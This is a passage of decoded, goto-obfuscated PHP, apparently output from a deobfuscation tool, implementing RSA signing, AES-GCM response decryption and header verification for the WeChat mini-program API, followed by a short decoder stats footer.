" . $reqData; goto Kr3nL; k8Xz3: $signature = $rsa->sign($payload); goto pB1cc; s_vKc: $reqData = $newRe["reqData"]; goto XrdhQ; uovFH: } private function checkLocalSignature(array $newRe, string $signature) { goto p5tje; x6F8n: $rsa->setMGFHash("sha256"); goto gnJZD; U4aql: $pubkey = $rsaPubKey; goto ewXAj; ewXAj: $rsa = new RSA(); goto S0aLL; WaXvR: $url = $this->url; goto u62ZZ; s0Wgm: $payload = utf8_encode($payload); goto U4aql; gnJZD: return $rsa->verify($payload, $signature); goto jG1iu; u62ZZ: $time = $newRe["ts"]; goto n9kHv; S0aLL: $rsa->loadKey($pubkey); goto vDrtl; tY7MN: $rsaPubKey = $this->rsa["rsa-public-key"]; goto LW0SB; n9kHv: $reqData = $newRe["reqData"]; goto H9seu; p5tje: $signature = base64_decode($signature); goto tY7MN; LW0SB: $appId = $this->appId; goto WaXvR; vDrtl: $rsa->setHash("sha256"); goto x6F8n; H9seu: $payload = "{$url}\xa{$appId}
{$time}\xa{$reqData}"; goto s0Wgm; jG1iu: } private function httpParseHeaders($headerString) { goto ZFpwk; ZFpwk: $headers = []; goto WqlsD; cXPtt: NrabL: goto UnXz_; Wopct: foreach ($lines as $line) { goto Pu0Tn; SjhYo: jTrXu: goto vAyNj; ZfHyG: $key = trim($parts[0]); goto ZnX5_; MD7xE: WJ4QO: goto SjhYo; vTj_k: $headers[$key] = $value; goto MD7xE; Pu0Tn: $line = trim($line); goto ajI9d; ajI9d: if (empty($line)) { goto WJ4QO; } goto oxarE; ZnX5_: $value = isset($parts[1]) ? trim($parts[1]) : ''; goto vTj_k; oxarE: $parts = explode(":", $line, 2); goto ZfHyG; vAyNj: } goto cXPtt; WqlsD: $lines = explode("
", $headerString); goto Wopct; UnXz_: return $headers; goto n1KLo; n1KLo: } private function jM($ts, $body) { goto iPQkz; TUcGc: return $this->error('', "\350\xa7\xa3\345\xaf\x86\xe5\244\xb1\350\xb4\xa5!"); goto DUy1j; yvoXy: MF1Lb: goto wwMf1; VoA6Z: $authTag = base64_decode($body["authtag"]); goto qeMyB; qeMyB: $result = openssl_decrypt($data, "aes-256-gcm", $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad); goto HaweL; CfV4z: iwO9H: goto I_ENR; HDSwZ: $aad = $url . "|" . $appId . "|" . $ts . "|" . $sn; goto F2uNE; iPQkz: $url = $this->url; goto Xnr7E; MGUZ2: return $this->error('', $result["errmsg"]); goto yvoXy; MQpQI: $key = base64_decode($key); goto keVwl; I_ENR: Log::write("\345\276\xae\xe4\277\241\xe6\216\xa5\xe5\x8f\xa3\xe8\277\224\345\x9b\x9e\357\274\x9a" . json_encode($result)); goto DWGOJ; keVwl: $iv = base64_decode($body["iv"]); goto SemG0; aay34: $sn = $this->aes["sn"]; goto HDSwZ; Xnr7E: $appId = $this->appId; goto aay34; pz5hT: Log::write("\xe5\276\xae\344\xbf\241\xe6\x8e\245\345\217\xa3\350\xbf\224\345\x9b\236\xef\274\232" . json_encode($result)); goto MGUZ2; HaweL: if ($result) { goto ZibFZ; } goto TUcGc; DUy1j: ZibFZ: goto cXPY_; F2uNE: $key = $this->aes["key"]; goto MQpQI; M4RtI: if (!(!empty($result["errcode"]) && $result["errcode"] != 0)) { goto MF1Lb; } goto pz5hT; cXPY_: $result = json_decode($result, true); goto M4RtI; DWGOJ: return $result; goto yl4Ae; LSJWG: $result["message"] = $result["errmsg"]; goto CfV4z; wwMf1: if (!(isset($result["errcode"]) && $result["errcode"] == 0)) { goto iwO9H; } goto LSJWG; SemG0: $data = base64_decode($body["data"]); goto VoA6Z; yl4Ae: } private function vertifyResponse($data) { goto l8GNZ; sVP7X: jZOI7: goto i0r3d; hvftQ: return $rsa->verify($payload, $signature); goto eFiGU; GzVin: return $this->error('', "\xe8\xbf\x94\xe5\x9b\x9e\345\200\xbcsn\344\xb8\x8d\345\x8c\271\351\x85\x8d!"); goto Hdtx9; M_EF0: KryRd: goto TDcng; GYvIh: $nowTime = time(); goto Jimae; xrux4: $rsa->setHash("sha256"); goto A6uU_; VLo08: if (!($appId != $headers["Wechatmp-Appid"] || $nowTime - $reTime > 300)) { goto BPYAO; } goto HEiKM; HEiKM: return $this->error('', "\xe8\xbf\x94\xe5\233\x9e\345\x80\xbc\345\256\x89\xe5\x85\250\xe5\xad\227\xe6\256\265\346\240\xa1\xe9\xaa\x8c\xe5\xa4\xb1\xe8\xb4\xa5!"); goto TP2nQ; Jimae: $reTime = $headers["Wechatmp-TimeStamp"]; goto wweTd; Hdtx9: goto KryRd; goto sVP7X; k1PjR: $rsa->loadKey($key); goto xrux4; wweTd: $appId = $this->appId; goto Yk1Md; I5Vw1: goto KryRd; goto IdwKc; TDcng: $reData = $data["body"]; goto Rghr4; as9fy: $url = $this->url; goto VLo08; Yk1Md: $cert = $this->cert; goto Ye5xe; TP2nQ: BPYAO: goto lA5ju; lA5ju: if ($sn == $headers["Wechatmp-Serial"]) { goto jZOI7; } goto FwT1k; l8GNZ: $headers = $this->httpParseHeaders($data["header"]); goto GYvIh; XU14x: $payload = utf8_encode($payload); goto RmQ0D; Rghr4: $payload = "{$url}\xa{$appId}
{$reTime}
{$reData}"; goto XU14x; Ye5xe: $sn = $cert["sn"]; goto WTihz; IdwKc: DCQqd: goto v0ZgB; v0ZgB: $signature = $headers["Wechatmp-Signature-Deprecated"]; goto M_EF0; RmQ0D: $signature = base64_decode($signature); goto EYo5d; FwT1k: if ($sn == $headers["Wechatmp-Serial-Deprecated"]) { goto DCQqd; } goto GzVin; EYo5d: $rsa = new RSA(); goto k1PjR; i0r3d: $signature = $headers["Wechatmp-Signature"]; goto I5Vw1; WTihz: $key = $cert["cert-key"]; goto as9fy; A6uU_: $rsa->setMGFHash("sha256"); goto hvftQ; eFiGU: } private function getPublicKey($cert, $certPath = '') { goto OEgZ3; ZmWB2: $pkey = openssl_pkey_get_public($cert); goto ATlg9; ATlg9: $keyData = openssl_pkey_get_details($pkey); goto MvoRL; iYppj: $public_key = trim(str_replace("-----END PUBLIC KEY-----", '', $public_key)); goto KkrOf; OEgZ3: $cert = $cert ?: file_get_contents($certPath); goto ZmWB2; KkrOf: return $public_key; goto p3P7Q; MvoRL: $public_key = str_replace("-----BEGIN PUBLIC KEY-----", '', $keyData["key"]); goto iYppj; p3P7Q: } } 

Function Calls

None

Variables

None

Stats

MD5 8ae82ca7cd652d24780d0a598c4a7dfa
Eval Count 0
Decode Time 62 ms